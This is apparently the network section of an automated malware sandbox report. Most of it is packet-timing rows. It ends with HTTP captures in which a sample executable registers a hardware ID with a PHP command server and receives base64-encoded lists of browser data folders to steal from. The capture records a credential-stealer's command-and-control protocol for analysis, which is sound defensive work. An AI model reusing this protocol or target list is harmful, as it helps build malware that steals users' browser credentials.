Oct 1, 2024 07:51:18.459646940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459657907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459662914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459691048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459806919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459820032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459830046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459841013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459841967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459852934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459884882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459969997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459981918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460053921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460217953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460231066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460241079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460251093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460258961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460290909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460407019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460417986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460427999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460438967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460448980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460448980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460460901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460469961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460470915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460481882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460493088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460496902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460521936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460540056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460551977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.460576057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.460606098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461183071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461193085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461205959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461215973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461226940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461236954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461241961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461277008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461355925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461374044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461385012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461395979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461410999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461435080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461658955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461669922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461684942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461690903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461695910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461707115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461716890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461728096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461729050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461740017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461762905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461783886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461802006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461813927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461834908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461853027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.461985111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.461996078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.462007046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.462033033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.462059975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.941998005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.942034960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.946942091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.947098017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.296046972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.296155930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.338701010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.343456030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.515754938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.515780926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.515790939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.515851974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.515882015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.518773079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.523567915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.694736004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.694844961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.708225965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.713097095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.897079945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.897192955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.988198042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.988328934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.992925882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.992985964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993159056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993169069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993184090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993216991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993237019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993258953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993268967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993278980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993314028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993334055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993352890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993361950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993371010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993379116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993400097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993402958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993411064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993419886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993437052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993434906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993444920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993455887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993458033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993478060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993491888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993510008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993520021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993540049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993556023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993590117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.993592024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.993633986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998450041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998492956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998502016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998502970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998532057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998533964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998563051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998578072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998579979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998610973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998619080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998620987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998640060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998647928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998648882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998667002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:19.998686075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998694897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998719931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998761892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998770952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998779058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998822927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998876095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998919964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998928070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998943090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998950958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998965979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.998974085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999020100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999027967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999053955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999063015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999092102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999099970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999126911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999135971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999150038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999161005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999175072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999182940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999192953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999270916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999284983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999293089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999341011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999351978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999370098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999380112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999423027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:19.999430895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003312111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003340960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003350019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003396988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003406048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003415108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003426075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003437042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003457069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003464937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003504992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003514051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003530025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003537893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003580093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.003588915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.420046091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.420140028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:20.455832005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:20.460717916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.642750978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.642857075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:20.644275904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:20.649008989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.993875980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:20.993973970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:23.530601025 CEST	49732	80	192.168.2.4	45.200.148.113

HTTP Request Dependency Graph

45.200.148.113

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	45.200.148.113	80	6900	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 07:51:08.559560061 CEST	89	OUT	GET / HTTP/1.1 Host: 45.200.148.113 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:09.167649031 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:09.170264959 CEST	410	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJE Host: 45.200.148.113 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 39 34 39 41 30 39 45 34 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 41 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="hwid"DB949A09E4122040409402------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="build"A1------GHJDBAKEHDHDGCAKKJJE--
Oct 1, 2024 07:51:09.634429932 CEST	375	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 180 Connection: keep-alive Vary: Accept-Encoding Data Raw: 4f 44 56 6b 4e 7a 51 35 59 57 5a 6d 5a 6d 56 6b 4d 44 63 33 4e 54 42 6b 4e 6a 4a 6a 5a 6a 55 34 59 32 49 30 4f 47 52 6b 4d 44 64 6a 4d 6a 6c 6d 59 6a 4a 6b 5a 44 55 79 4f 54 6b 30 59 57 49 30 59 7a 42 69 59 6d 59 7a 59 54 68 6a 5a 6a 67 31 59 6a 51 33 4f 57 4d 34 4f 47 46 6b 4d 7a 45 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODVkNzQ5YWZmZmVkMDc3NTBkNjJjZjU4Y2I0OGRkMDdjMjlmYjJkZDUyOTk0YWI0YzBiYmYzYThjZjg1YjQ3OWM4OGFkMzEwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 1, 2024 07:51:09.635889053 CEST	469	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGH Host: 45.200.148.113 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 2d 2d 0d 0a Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="message"browsers------IIIDAKJDHJKFHIEBFCGH--
Oct 1, 2024 07:51:09.812592030 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxV [TRUNCATED]
Oct 1, 2024 07:51:09.812669039 CEST	480	IN	Data Raw: 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 Data Ascii: cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFB
Oct 1, 2024 07:51:09.824454069 CEST	468	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 45.200.148.113 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 